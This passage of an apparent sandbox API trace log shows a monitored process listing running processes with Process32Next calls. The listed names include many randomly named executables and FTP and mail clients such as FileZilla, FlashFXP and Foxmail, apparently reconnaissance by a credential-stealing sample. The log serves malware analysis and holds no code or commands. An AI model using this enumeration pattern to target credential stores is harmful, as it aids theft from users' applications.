lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0270.989] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0270.990] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0270.992] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0270.994] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0270.997] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0270.999] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0271.001] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0271.003] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0271.006] CloseHandle (hObject=0x21cc) returned 1 [0271.006] Sleep (dwMilliseconds=0x64) [0271.008] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0271.022] Process32First (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.023] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0271.025] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0271.026] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.028] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0271.030] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.031] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0271.033] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0271.035] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0271.037] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.039] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.041] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0271.043] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.045] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.047] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.050] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.051] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.053] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.054] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.056] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0271.058] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0271.060] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0271.061] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.063] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0271.067] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0271.069] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0271.071] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0271.073] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0271.075] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0271.108] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0271.110] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.112] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0271.114] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0271.115] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0271.117] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.119] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0271.120] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0271.122] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0271.124] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0271.126] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0271.127] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0271.129] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0271.130] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0271.132] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0271.134] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0271.136] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0271.137] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0271.139] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0271.141] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0271.145] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0271.147] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0271.148] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0271.150] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0271.152] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0271.154] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0271.156] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0271.158] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0271.160] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0271.162] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0271.164] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0271.167] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0271.169] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0271.171] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0271.173] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0271.176] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0271.179] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0271.181] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0271.183] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0271.185] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0271.187] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0271.189] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0271.191] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0271.193] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0271.195] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, 